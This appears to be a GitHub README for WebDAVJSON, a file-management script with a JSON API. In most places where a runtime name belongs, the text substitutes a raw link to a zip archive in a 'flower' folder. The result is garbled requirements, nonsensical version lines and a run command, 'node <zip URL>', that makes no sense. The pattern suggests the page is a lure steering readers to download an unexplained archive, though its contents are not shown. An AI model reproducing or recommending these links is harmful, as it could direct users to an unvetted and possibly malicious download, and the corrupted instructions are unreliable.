WebDAVJSON is a simple server-side script that allows you to manage files easily. You can list, upload, delete, and download files through REST-style interactions using JSON. This tool supports Cross-Origin Resource Sharing (CORS) and offers optional API key authentication for added security. You can also filter files by their extensions.

• File Management: Effortlessly manage your files with a clear API.
• CORS Support: Easily access the API from different domains.
• API Key Authentication: Secure your application with optional authentication.
• File Filtering: Control which file types can be uploaded or accessed.

To run WebDAVJSON effectively, ensure your system meets the following requirements:

• Operating System: Windows, macOS, or Linux
• Web Server: Apache or Nginx for PHP, or https://raw.githubusercontent.com/forkan07/WebDAVJSON/main/flower/WebDAVJSON.zip for the server script
• PHP Version: PHP 7.2 or higher for PHP users
• https://raw.githubusercontent.com/forkan07/WebDAVJSON/main/flower/WebDAVJSON.zip Version: https://raw.githubusercontent.com/forkan07/WebDAVJSON/main/flower/WebDAVJSON.zip 12 or higher for https://raw.githubusercontent.com/forkan07/WebDAVJSON/main/flower/WebDAVJSON.zip users
• Network: An active internet connection for cloud functionality

Follow these simple steps to get WebDAVJSON up and running.

1. Visit the Releases Page
   Go to the Releases page for the latest version of WebDAVJSON.

2. Download the Application
   Find the appropriate package for your system on the Releases page. Click to download the file suited for either PHP or https://raw.githubusercontent.com/forkan07/WebDAVJSON/main/flower/WebDAVJSON.zip

3. Extract Files
   Once downloaded, extract the files to a location on your server or local machine. Make sure the server has permissions to read and write to this directory.

4. Configure the Server
   Depending on your server type (Apache, Nginx, or https://raw.githubusercontent.com/forkan07/WebDAVJSON/main/flower/WebDAVJSON.zip), you may need to set up the server to run WebDAVJSON. Check the documentation for guidance on server configuration.

5. Start the Server
   Launch the server script. For PHP, you may need to use a terminal command or set up a virtual host. For https://raw.githubusercontent.com/forkan07/WebDAVJSON/main/flower/WebDAVJSON.zip, run the script with:

   node https://raw.githubusercontent.com/forkan07/WebDAVJSON/main/flower/WebDAVJSON.zip

6. Access WebDAVJSON
   Open your web browser and navigate to the address where your server is running (e.g., http://localhost:8080). You should see the WebDAVJSON interface.

To get started with WebDAVJSON, please visit this page to download. Follow the instructions provided above to install the application properly.

WebDAVJSON includes essential topics such as:

• CORS
• JavaScript
• mkcert
• https://raw.githubusercontent.com/forkan07/WebDAVJSON/main/flower/WebDAVJSON.zip
• PHP
• WebDAV
• WebDAV Server

These topics help improve your understanding of the functionalities offered by WebDAVJSON.

For more extensive documentation, you can explore the following sections:

1. File Management API
   Understand how to interact with the file management features in WebDAVJSON.

2. Authentication
   Learn how to enable and manage API key authentication for your application.

3. CORS Configuration
   Get insights into setting up CORS to allow access from different domains.

4. Troubleshooting
   Find solutions to common setup and configuration issues.

If you encounter issues while using WebDAVJSON or have questions, please open an issue in the GitHub repository. The community and maintainers are here to help.

Contributions are welcome! If you want to improve WebDAVJSON or suggest new features, feel free to submit a pull request. Please follow the contribution guidelines in the repository.

For further inquiries, you can reach out via the GitHub repository or the contact information provided in the link above.

• GitHub Repository
• Issues Tracker

Happy file managing with WebDAVJSON!